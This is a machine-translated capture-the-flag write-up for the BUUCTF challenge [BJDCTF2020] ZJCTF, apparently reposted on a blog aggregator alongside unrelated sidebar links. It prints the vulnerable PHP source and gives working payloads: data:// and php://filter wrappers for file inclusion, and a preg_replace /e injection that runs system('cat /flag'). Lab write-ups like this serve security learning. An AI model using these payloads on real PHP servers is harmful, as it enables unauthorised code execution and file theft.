当前位置:网站首页>Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[BJDCTF2020]ZJCTF, nothing more than this ( Xiaoyute detailed explanation )
Open questions :
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
By analyzing the code ,get Pass in two parameters text and file,text Parameter utilization file_get_contents() The function opens as read-only , After opening, the content should be consistent with "I have a dream" String matches , To execute the following file contains $file Parameters .
See with file_get_contents() Function on text Parameters , And the following files contain functions , Naturally think of php In pseudo protocol data:// For agreement filter Read the agreement next.php Source code
payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
Here we use base64 decode
Here is preg_replace/e Code execution problem in mode
from https://xz.aliyun.com/t/2557 Learning related issues
I won't go into details here
It's used here \S*=${}
structure payload
next.php?\S*=${
getFlag()}&cmd=system('cat /flag');
边栏推荐
- [C language syntax] the difference between typedef struct and struct
- 数学三大核心领域概述:代数
- 授予渔,从0开始搭建一个自己想要的网页
- Mysql database master-slave cluster construction
- Processes and threads
- Redis6 cluster setup
- 《卓有成效的管理者》读书笔记
- Is it difficult for an information system project manager?
- 【无标题】
- A master in the field of software architecture -- Reading Notes of the beauty of Architecture
猜你喜欢
Novice entry SCM must understand those things
误差的基本知识
What is independent IP and how about independent IP host?
Hongliao Technology: Liu qiangdong's "heavy hand"
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
How Huawei routers configure static routes
华为路由器如何配置静态路由
[web security] nodejs prototype chain pollution analysis
[happy Spring Festival] if you feel happy, dance
[untitled]
随机推荐
[course notes] Compilation Principle
清除浮动的方式
GTSAM中李群的运用
Commodity price visualization
授予渔,从0开始搭建一个自己想要的网页
数学三大核心领域概述:代数
B站刘二大人-线性回归及梯度下降
Cognitive introspection
OSPF configuration command of Huawei equipment
VINS-Mono: A Robust and Versatile Monocular Visual-Inertial State Estimator
IDEA 新UI使用
Classes and objects (I) detailed explanation of this pointer
IP day 16 VLAN MPLS configuration
As3013 fire endurance test of cable distribution system
进程和线程
[leetcode] day96 - the first unique character & ransom letter & letter ectopic word
B站刘二大人-反向传播
Download, install and use NVM of node, and related use of node and NRM
Mysql database master-slave cluster construction
数学三大核心领域概述:几何